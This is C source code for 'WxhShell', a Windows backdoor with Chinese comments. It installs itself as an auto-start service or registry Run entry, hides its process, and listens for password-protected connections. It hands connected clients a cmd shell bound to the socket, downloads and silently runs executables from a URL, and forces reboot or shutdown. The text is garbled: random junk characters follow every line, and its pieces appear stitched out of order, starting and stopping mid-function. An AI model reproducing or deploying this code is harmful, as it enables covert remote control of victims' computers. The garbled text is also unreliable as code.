    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z}wAh|N-  
    if(Boot(SHUTDOWN)) VJaL$Wv)H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \zwb>^  
    else { L\[jafb_`  
    closesocket(wsh); kuaov3Ui  
    ExitThread(0); =Yk$Q\c  
    } 0*/~9n-Vl  
    break; ;}qCIyuO]  
    } ~k 3r$e@  
  // 获取shell ![V- e  
  case 's': { @:I/lg=Qd  
    CmdShell(wsh); M{QNpoM  
    closesocket(wsh); HPQ,tlp6j  
    ExitThread(0); 5;l_-0=  
    break; @C2<AmY9q*  
  } E \RU[  
  // 退出 < ]nI)W(  
  case 'x': { y=Hl~ev`9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ($TxVFNT  
    CloseIt(wsh); z6qC6Ck|  
    break; &.,OvVAo  
    } W8^gPW*c5  
  // 离开 g:g>;" B O  
  case 'q': { I"1\R8 R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q.7CPm+  
    closesocket(wsh); AVjtK  
    WSACleanup(); o v~m?Y]h  
    exit(1); ~0NZx8qG   
    break; ')+EW" e  
        } #C`!yU6(  
  } n_<]9  
  } ORoraEK  
5a/)|  
  // 提示信息 h(sD]N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); itU01  
} l O^h)hrR  
  } V4H+m,R  
@b zrJ 7$  
  return; :FSkXe2yy0  
} `dK\VK^  
'9)@U+yfQ  
// shell模块句柄 hmo?gD<  
int CmdShell(SOCKET sock) L[K_!^MZ  
{ ){} #v&  
STARTUPINFO si; n7G$gLX  
ZeroMemory(&si,sizeof(si)); a_yV*N`D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i@RjG   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -1R~3j1_  
PROCESS_INFORMATION ProcessInfo; \WTg0b[  
char cmdline[]="cmd"; o\#C] pp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R&QT  'i  
  return 0; 8/CGg_C1  
} 9(_/jU4mc  
f`%k@\  
// 自身启动模式 sw1XN?O  
int StartFromService(void) b} *cw2  
{ +CkK4<dF  
typedef struct q )[g VL  
{ 9&tV#=s  
  DWORD ExitStatus; J}x5Ko@  
  DWORD PebBaseAddress; |z~?"F6 Y<  
  DWORD AffinityMask; p,+~dn;=  
  DWORD BasePriority; l>ttxYBa<d  
  ULONG UniqueProcessId; gLH(Wr~(a  
  ULONG InheritedFromUniqueProcessId; NJp;t[v.^  
}   PROCESS_BASIC_INFORMATION; FueJe/~t  
ZBGI_9wZ  
PROCNTQSIP NtQueryInformationProcess; CeQcnJU  
TCEbz8ql  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;@L#0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ObCwWj^qO  
38#(ruv  
  HANDLE             hProcess; bQ)r8[o!  
  PROCESS_BASIC_INFORMATION pbi; "@n$(-.  
Dt ?Fs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4c% :?H@2  
  if(NULL == hInst ) return 0; C{) )T5G  
=mZw71,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DXUI/C f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c2C8}XJ|O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g#AA.@/Z  
~AO0(Lp  
  if (!NtQueryInformationProcess) return 0; V= _8G3  
efh wbn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |'.SOm9)*  
  if(!hProcess) return 0; )_jO8 )jB  
!CWqI)=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cw_<t  
R[V%59#{Z  
  CloseHandle(hProcess); x .q%O1  
CUG6|qu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q8oEb  
if(hProcess==NULL) return 0; 1@y?OWC  
xQ[YQ!l  
HMODULE hMod; ~EN@$N^h  
char procName[255]; oGM.{\i  
unsigned long cbNeeded; #GF1MFkoS  
>M!>Hl/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JG_7G=~  
()?)Ybqss  
  CloseHandle(hProcess); +]6 EkZO  
%%_90t  
if(strstr(procName,"services")) return 1; // 以服务启动 [bp"U*!9P  
1.!(#I3  
  return 0; // 注册表启动 k\lj<v<vD  
} \!PC:+u J  
fZZ!kea[  
// 主模块 E'ZWSpP  
int StartWxhshell(LPSTR lpCmdLine) ~ce.&C7cR  
{ p|((r?{  
  SOCKET wsl; LOA 90.D  
BOOL val=TRUE; gO5;hd[ l  
  int port=0; _:g V7>S?  
  struct sockaddr_in door; J kA~Ol  
+bSv-i-  
  if(wscfg.ws_autoins) Install(); n33SWE(  
{ys_uS{c*  
port=atoi(lpCmdLine); H)p{T@  
V>nY?  
if(port<=0) port=wscfg.ws_port; %~h'#S2X(  
I;7{b\t Q  
  WSADATA data; Rpr# ,|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {R#nGsrt;  
IP >An8+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :!/}*B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <Z&gAqj 2  
  door.sin_family = AF_INET; BoXCc"q[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fSTEZH  
  door.sin_port = htons(port); nuQ"\ G  
KDhHp^IXQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M *}$$Fe|  
closesocket(wsl); =_XcG!"  
return 1; 1#@'U90xf  
} e7;]+pN]J  
sJD"u4#y  
  if(listen(wsl,2) == INVALID_SOCKET) { giTlXz3D9  
closesocket(wsl); ABSeX  
return 1; &M2x`  
} RBb@@k[v  
  Wxhshell(wsl); sq^,l6es>  
  WSACleanup(); A@#dv2JzP  
?G{fF H  
return 0; M$GD8|*e  
Dn@ n:m  
} VcP#/&B|  
U` U/|@6  
// 以NT服务方式启动 QZ`<+"a0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N@VD-}E  
{ 5 9X|l&/  
DWORD   status = 0; 52~k:"c  
  DWORD   specificError = 0xfffffff; jPd<h{js  
pQ>V]M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m/ukH{H1%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c{ <3\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QXrK-&fju  
  serviceStatus.dwWin32ExitCode     = 0; C]`Y PM5  
  serviceStatus.dwServiceSpecificExitCode = 0; zbnQCLs  
  serviceStatus.dwCheckPoint       = 0; <L`R!}  
  serviceStatus.dwWaitHint       = 0; OJK/>  
+VeLd+Q}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); crT[;w  
  if (hServiceStatusHandle==0) return; qm '$R3g  
p?`N<ykF<  
status = GetLastError(); ,Q:dAe[ZsX  
  if (status!=NO_ERROR) @@$ _TaI  
{ EZHEJW'JnE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cD>o(#x]  
    serviceStatus.dwCheckPoint       = 0; {> }U>V  
    serviceStatus.dwWaitHint       = 0; AE$)RhY`  
    serviceStatus.dwWin32ExitCode     = status; upJishy&I  
    serviceStatus.dwServiceSpecificExitCode = specificError;  [ ~E}x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P-mrH  
    return; i|| YD-hkK  
  } {Xp.}c  
?-VN+ d7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &a:aW;^A7  
  serviceStatus.dwCheckPoint       = 0; VMHY.Rf  
  serviceStatus.dwWaitHint       = 0; 94R+S-|P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $DVy$)a!u  
} Yv;aQF"a  
-lp_~)j^  
// 处理NT服务事件,比如:启动、停止 [ M'1aBx^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1@ina`!1O  
{ u>E+HxUJ  
switch(fdwControl) &yN<@.  
{ r {8  
case SERVICE_CONTROL_STOP: I|M*yObl6  
  serviceStatus.dwWin32ExitCode = 0; %Xi%LUk{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ( r O j,D  
  serviceStatus.dwCheckPoint   = 0; ooAZ,l=8  
  serviceStatus.dwWaitHint     = 0; ]+Vcuzq/  
  { Pv'x|p*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l ghzd6  
  } ; YRZg|Zw  
  return; k (R4-"@  
case SERVICE_CONTROL_PAUSE: `MD/C Fl4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jQDxbkIuzE  
  break; u2eq VrY  
case SERVICE_CONTROL_CONTINUE: \Q$);:=q Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gXQ)\MY  
  break; . FruI#99  
case SERVICE_CONTROL_INTERROGATE: Q4x71*vy  
  break; ovohl<o\  
}; ~RJg.9V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BO_^3Me*  
} rQqtejcfx  
7[)(;-  
// 标准应用程序主函数 ?/wloLS47  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Dmw,Bi*  
{ t0q@] 0B5  
7^L&YV W  
// 获取操作系统版本 S]N4o'K}q  
OsIsNt=GetOsVer(); "f3>20}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PEWzqZ|!;  
$Yka\tS'  
  // 从命令行安装 87Kx7CKF"  
  if(strpbrk(lpCmdLine,"iI")) Install(); d !H)voX  
:NL NxK  
  // 下载执行文件 *O;N"jf  
if(wscfg.ws_downexe) { tFwlx3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *}J_STM  
  WinExec(wscfg.ws_filenam,SW_HIDE); w&{J9'~  
} _=] FJhO  
. ~<+  
if(!OsIsNt) { 5"Yw$DB9  
// 如果时win9x,隐藏进程并且设置为注册表启动 g9XtE  
HideProc(); l.BNe)1!22  
StartWxhshell(lpCmdLine); D H^^$)  
} [=Z{y8#:J  
else .>YJ9 5&\  
  if(StartFromService()) UOwNcY  
  // 以服务方式启动 |`nVr>QF&  
  StartServiceCtrlDispatcher(DispatchTable); h2>0#Vp3j  
else ,&-[$,  
  // 普通方式启动 b$`O|S  
  StartWxhshell(lpCmdLine); [wR8q,2  
>W<5$.G  
return 0; J 0 P  
} PG!vn@b6  
_X[c19q  
<fJ\AP5  
vpDs5tUl  
=========================================== hG^23FiN  
3Z0\I\E  
2}b bdXx  
if'4MDl  
H/$q]i*#K  
*"ShE=\p  
" }>w4!  
\K6J{;#L  
#include <stdio.h> p!ErH]lH  
#include <string.h> tpN}9N  
#include <windows.h> Z ux2VepT  
#include <winsock2.h> 2"O Y]d  
#include <winsvc.h> [7V]=] p  
#include <urlmon.h> AqkK`iJ#  
oB9m\o7$  
#pragma comment (lib, "Ws2_32.lib") 0=B5 =qyw  
#pragma comment (lib, "urlmon.lib") gISs+g  
${wE5^ky  
#define MAX_USER   100 // 最大客户端连接数 e?>suIB  
#define BUF_SOCK   200 // sock buffer qZh~Ay6I  
#define KEY_BUFF   255 // 输入 buffer [_d*J/X  
GN0'-z6Uy  
#define REBOOT     0   // 重启 5b,98Q  
#define SHUTDOWN   1   // 关机 $b} +5  
#pfosC[  
#define DEF_PORT   5000 // 监听端口 JyO lVs<T  
k:Q<Uanc[  
#define REG_LEN     16   // 注册表键长度 3:Wr)>l}#  
#define SVC_LEN     80   // NT服务名长度 gwJu&HA/  
I>a a'em  
// 从dll定义API w C"%b#(}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S41>VbtEp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P{18crC[1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DF2&j!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ysu/7o4  
;\+0H$  
// wxhshell配置信息 *q{UipZbx  
struct WSCFG { $Stu-l1e a  
  int ws_port;         // 监听端口 =Qrz|$_rv  
  char ws_passstr[REG_LEN]; // 口令 OB22P%  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?sYjFiE  
  char ws_regname[REG_LEN]; // 注册表键名 &v,p_'k  
  char ws_svcname[REG_LEN]; // 服务名 U@nwSfp:G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hT"K}d;X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E6M: ^p*<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _ GSw\r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N/BU%c ph+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gN~y6c:N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H%]ch6C  
N&=2 /  
}; |U $-d^ZJ  
]?{lQ0vw'w  
// default Wxhshell configuration AHJ;>"]  
struct WSCFG wscfg={DEF_PORT, #LJ-IDuF!  
    "xuhuanlingzhe", Ck?:8YlF  
    1, %<yM=1~>  
    "Wxhshell", M7,MxwZ0k  
    "Wxhshell", >N-%  
            "WxhShell Service", 4sjr\9IDC  
    "Wrsky Windows CmdShell Service", +;;%Atgn  
    "Please Input Your Password: ", }8 _9V|E  
  1, J_ |x^  
  "http://www.wrsky.com/wxhshell.exe", (B<AK4G  
  "Wxhshell.exe" KTt$Pt/.  
    }; Xkom@F~]  
:'~ gLW>j  
// 消息定义模块 "b4iOp&:=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (L%q/$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u V7Hsg9l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tYZGf xj  
char *msg_ws_ext="\n\rExit."; q}Z T?Xk?  
char *msg_ws_end="\n\rQuit."; 7G/|e24  
char *msg_ws_boot="\n\rReboot..."; Ws)X5C=A  
char *msg_ws_poff="\n\rShutdown..."; A'iF'<%  
char *msg_ws_down="\n\rSave to "; 30+l0\1  
vfJk? (  
char *msg_ws_err="\n\rErr!"; 4uAafQ`@H  
char *msg_ws_ok="\n\rOK!"; 9PK-r;2  
\/'n[3x  
char ExeFile[MAX_PATH]; 5C1Rub)  
int nUser = 0; K"j=_%{  
HANDLE handles[MAX_USER]; 9dtGqXX  
int OsIsNt; :iB%JY Ad  
k^c=y<I  
SERVICE_STATUS       serviceStatus; es+_]:7B9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B@inH]wq  
wS*CcIwj  
// 函数声明 ^jjJM|a  
int Install(void); N('DIi*or  
int Uninstall(void); e.|RC  
int DownloadFile(char *sURL, SOCKET wsh); %W',cu  
int Boot(int flag); Sx9:$"3.X  
void HideProc(void); ^@L l(?  
int GetOsVer(void); Ja=70ZI^ 6  
int Wxhshell(SOCKET wsl); kah3Uhr~  
void TalkWithClient(void *cs); ANQa2swM  
int CmdShell(SOCKET sock); Bye@5D  
int StartFromService(void); qbq<O %g=  
int StartWxhshell(LPSTR lpCmdLine); f\_!N "HW  
8~(+[[TQ@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &9w%n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J:Y|O-S!  
]q[  
// 数据结构和表定义 7h9[-d6  
SERVICE_TABLE_ENTRY DispatchTable[] = 3hf ;4Mb  
{ ro^6:w3O^  
{wscfg.ws_svcname, NTServiceMain}, 6Y_O^f  
{NULL, NULL} Xe3z6  
}; 6+nMH +[  
)):22}I#  
// 自我安装 GHC?Tp   
int Install(void) (<R\  
{ |5B,cB_  
  char svExeFile[MAX_PATH]; FWpN:|X BS  
  HKEY key; 4:eq{n  
  strcpy(svExeFile,ExeFile); Y:!/4GF  
]VG84bFm  
// 如果是win9x系统,修改注册表设为自启动 K1/gJ9+(\  
if(!OsIsNt) { {&}/p-S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4IP\iw#w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j)tC r Py  
  RegCloseKey(key); LH/&\k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ik-E4pxKo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X]pWvQ Q]  
  RegCloseKey(key); -8Jl4F ,  
  return 0; *- IlF]  
    } #"p1Qea$  
  } 5Jhbf2-  
} ?+,*YVT  
else { RTgA[O4J  
Ns|V7|n]  
// 如果是NT以上系统,安装为系统服务 u->@|tEq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E7NbPNd  
if (schSCManager!=0) c."bTq4tJ  
{ r]JC~{  
  SC_HANDLE schService = CreateService Pm#x?1rAj  
  ( ~r>EF!U`h  
  schSCManager, tk)>CK11  
  wscfg.ws_svcname, |IX`(  
  wscfg.ws_svcdisp, 2^^'t6@  
  SERVICE_ALL_ACCESS, [[?[? V ,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , : >wQwf  
  SERVICE_AUTO_START, T7lj39pJq  
  SERVICE_ERROR_NORMAL, n:*_uc^C  
  svExeFile, vJj:9KcP>h  
  NULL, b y|?g8  
  NULL, 9 yW ~79n  
  NULL, p17|ld`  
  NULL, eC^0I78x  
  NULL v(Bp1~PPZM  
  ); 6}i&6@Snq?  
  if (schService!=0) wCU&Xb$F  
  { ),;D;LI{S  
  CloseServiceHandle(schService); TvWU[=4Yk  
  CloseServiceHandle(schSCManager); +\k9w.[:/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UR/qVO?  
  strcat(svExeFile,wscfg.ws_svcname); _<%\h?W$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jV4hxuc$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VM!-I8t  
  RegCloseKey(key); ~N{_N95!2@  
  return 0; uhTKCR~  
    } ~.W=  
  } *dG}R#9Nv  
  CloseServiceHandle(schSCManager); u 5Eo  
} z{`6#  
} <;z[+6T  
$#G6m`V  
return 1; 'Vm5Cs$  
} z)&naw.  
4/HY[FT  
// 自我卸载 D%;wVnU w  
int Uninstall(void) % UW=:  
{ A#Q0{z@H  
  HKEY key; Ox7uG{t$#  
@zr8%8n  
if(!OsIsNt) { @)OnIQN~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %="~\1y  
  RegDeleteValue(key,wscfg.ws_regname); 5Cc6 , ]  
  RegCloseKey(key); Dm|gSv8d,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y$j1?7  
  RegDeleteValue(key,wscfg.ws_regname); `jb0 +{08  
  RegCloseKey(key); ^ o $W  
  return 0; [j:}=:feQ  
  } ZRXI?Jr%  
} MfXt+c`r  
} ~A[YnJYA#  
else { 8/Et&TJ`  
9Qt)m fqM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); & %N(kyp  
if (schSCManager!=0) Pn'`Q S?  
{ X"hOHx5P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M>?aa6@0  
  if (schService!=0) 7y>Tn`V8G  
  { qa 6=W  
  if(DeleteService(schService)!=0) { ^i{,z*vi  
  CloseServiceHandle(schService); 2!{_/@I\Y  
  CloseServiceHandle(schSCManager); 'GV&]   
  return 0; ER~T'-YMS  
  } \#\`!L[1  
  CloseServiceHandle(schService); F* 3G _V  
  } TnN^2:cU  
  CloseServiceHandle(schSCManager); E1c>nrnh*  
} H_% d3 RI  
} [<D+p qh  
$:f.Krj  
return 1; tk`: CT *  
} 84[|qB,ML  
}iPo8Ra  
// 从指定url下载文件 Po Yr:=S?  
int DownloadFile(char *sURL, SOCKET wsh) QO5OnYh  
{ ; @ 7  
  HRESULT hr; eZ!yPdgy|  
char seps[]= "/"; f![xn2T  
char *token; y!7B,  
char *file; ?-pxte8  
char myURL[MAX_PATH]; P<>[e9|  
char myFILE[MAX_PATH]; %'{V%IXQ  
-!XrwQyk  
strcpy(myURL,sURL); 3 R5%N ~  
  token=strtok(myURL,seps); lp:_H-sG  
  while(token!=NULL) 5h|'DO x|o  
  { ,3VG.u;U   
    file=token; (y=dR1p  
  token=strtok(NULL,seps); ltNuLZ  
  } DapQ}2'_  
I`/]@BdgY  
GetCurrentDirectory(MAX_PATH,myFILE); dzgs%qtK  
strcat(myFILE, "\\"); PzIy">plm  
strcat(myFILE, file); R&NpdW N  
  send(wsh,myFILE,strlen(myFILE),0); 4|zd84g  
send(wsh,"...",3,0); b%3Q$wIJ6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,]f),;=  
  if(hr==S_OK) ?@_v,,|  
return 0; |tG05+M  
else  &|/vM.  
return 1; zTkFX67)  
3sS=?q  
} NV&;e[z  
U^B"|lc:[  
// 系统电源模块 K{|w 43>D  
int Boot(int flag) s0gJ f[  
{ L5R `w&Up  
  HANDLE hToken; f8^"E $"  
  TOKEN_PRIVILEGES tkp; (})]H:W7  
{GUb'J  
  if(OsIsNt) { {VBR/M(q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j?=VtVP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H9sZR>(^  
    tkp.PrivilegeCount = 1; ; Zh9^0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; buRhQ"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n49;Z,[~  
if(flag==REBOOT) { ?x:m;z/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _i-\mR_~  
  return 0; k& OC&  
} $RpF xi  
else { ';_1rh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Po!oN~r  
  return 0; et@">D%;]  
} '^hsH1  
  } k - FB  
  else { ,(6)ghr  
if(flag==REBOOT) { dI!8S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w"q-#,37j  
  return 0; ot^q}fRX  
} OSU{8.  
else { V:(y*tFA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OO-_?8I}  
  return 0; &xgZF Sq  
} 5xhM0 (  
} $6W3EOl  
 dFzYOG1  
return 1; T&]Na  
} TS1pR"6l  
Y^4q9?2G  
// win9x进程隐藏模块 0%/,>IR>r  
void HideProc(void) |4=ihB9+  
{ gRHtgR)T3  
z3clUtC+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  64SW  
  if ( hKernel != NULL ) \e_IFISC  
  { {JXf*IJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kl=xu3j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b,9@P&=:2  
    FreeLibrary(hKernel); 2v4W6R  
  } V)=Z6ti  
)W#T2Z>N1  
return; 18jJzYawh  
} S,XKW(5   
z23#G>I&  
// 获取操作系统版本 OH>r[,z0  
int GetOsVer(void) l/[pEUYU  
{ nkTYWw  
  OSVERSIONINFO winfo; ^ s=*J=k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lHcA j{6  
  GetVersionEx(&winfo); <&`:&7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WX LK89ev\  
  return 1; E!uJ6\  
  else emA.{cVr!  
  return 0; k j-=xhJ{=  
} Mw+v"l&mU  
_FT6]I0  
// 客户端句柄模块 >d#3|;RY  
int Wxhshell(SOCKET wsl) pKq]X}[^c  
{ axtb<5&  
  SOCKET wsh; B4IBuS  
  struct sockaddr_in client; ,'u*ZB;  
  DWORD myID; W-1sU g[AN  
ubi~%  
  while(nUser<MAX_USER) 5 5^tfu   
{ W8y$ Ve8m  
  int nSize=sizeof(client); GtC7^ Z&E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =)(0.E  
  if(wsh==INVALID_SOCKET) return 1; C\OECVT  
pp<E))&R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JwB"\&'1ZS  
if(handles[nUser]==0) cu)U7  
  closesocket(wsh); -A}zJBcR  
else "w9`cz9a~J  
  nUser++; l~NEGb  
  } z" EWj73  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5\xr?`VZ  
H$Kw=kMw  
  return 0; C!5I?z&  
} &~'S)Nun  
i*'Z3Z)  
// 关闭 socket ;?zF6zvQ  
void CloseIt(SOCKET wsh) 07FT)QTE  
{ fCg@FHS&^  
closesocket(wsh); V3Yd&HVWNQ  
nUser--; G0Hs,B@5?  
ExitThread(0); W tVf wC_  
} +mLD/gK`  
7k'gt/#up  
// 客户端请求句柄 &sdx`,  
void TalkWithClient(void *cs) _KN: o10U  
{ Ev{MCu1!6  
] opto  
  SOCKET wsh=(SOCKET)cs; &atyDFJ'  
  char pwd[SVC_LEN]; Q(e{~ ]*  
  char cmd[KEY_BUFF]; (xu=%  
char chr[1]; C B/r]+4  
int i,j; eVx~n(m!}  
Y.NE^Vn0  
  while (nUser < MAX_USER) { 6A?8tm/0  
$it@>L8  
if(wscfg.ws_passstr) { !9D1 Fa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p31oL{D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WFem#hq   
  //ZeroMemory(pwd,KEY_BUFF); 7E\g &R.  
      i=0; T)~!mifX  
  while(i<SVC_LEN) { -=a[J;'q  
\E77SO,$  
  // 设置超时 5B?i(2&#  
  fd_set FdRead; Im+ 7<3Z  
  struct timeval TimeOut; !b63ik15O~  
  FD_ZERO(&FdRead); WL1\y|  
  FD_SET(wsh,&FdRead); $ser+Jt=  
  TimeOut.tv_sec=8; ceG&,a$\  
  TimeOut.tv_usec=0; A? r^V2+j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'g hys1H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VX!hv`E  
:BD>yOlG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /tZ0 |B(  
  pwd=chr[0]; -?z\5 z  
  if(chr[0]==0xd || chr[0]==0xa) { @$c!/  
  pwd=0; @Z q[e   
  break; N571s  
  } ,56;4)cv  
  i++; WqQU@sA  
    } $UC{"0  
X3yS5wh d(  
  // 如果是非法用户,关闭 socket }LQC.!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qnXTNs ?b  
} |IN[uQ  
d@ (vg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QD4:W"i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Du!._  
%K l(>{N  
while(1) { /[{auUxSX  
I .P6l*$  
  ZeroMemory(cmd,KEY_BUFF); NbkK&bz  
;A"\?i Q  
      // 自动支持客户端 telnet标准   G "brT5:  
  j=0; >f@ G>H)+  
  while(j<KEY_BUFF) { y\,f6=%k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); " #v%36U  
  cmd[j]=chr[0]; 3[VNsX  
  if(chr[0]==0xa || chr[0]==0xd) { ;7j,MbU  
  cmd[j]=0; *|KVN&#  
  break; x<>YUw8`  
  } ^{[[Z.&R?  
  j++; ;_N5>3C:  
    } |r !G,  
f3#X0.':  
  // 下载文件 hZU 1O  
  if(strstr(cmd,"http://")) { kceyuD$3G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]r959+\$  
  if(DownloadFile(cmd,wsh)) Dr+Ps  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 12OlrU  
  else 30d#Lq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mk5RHDh  
  } C}Qt "-%  
  else { "b%FmM  
!y*oF{RZ  
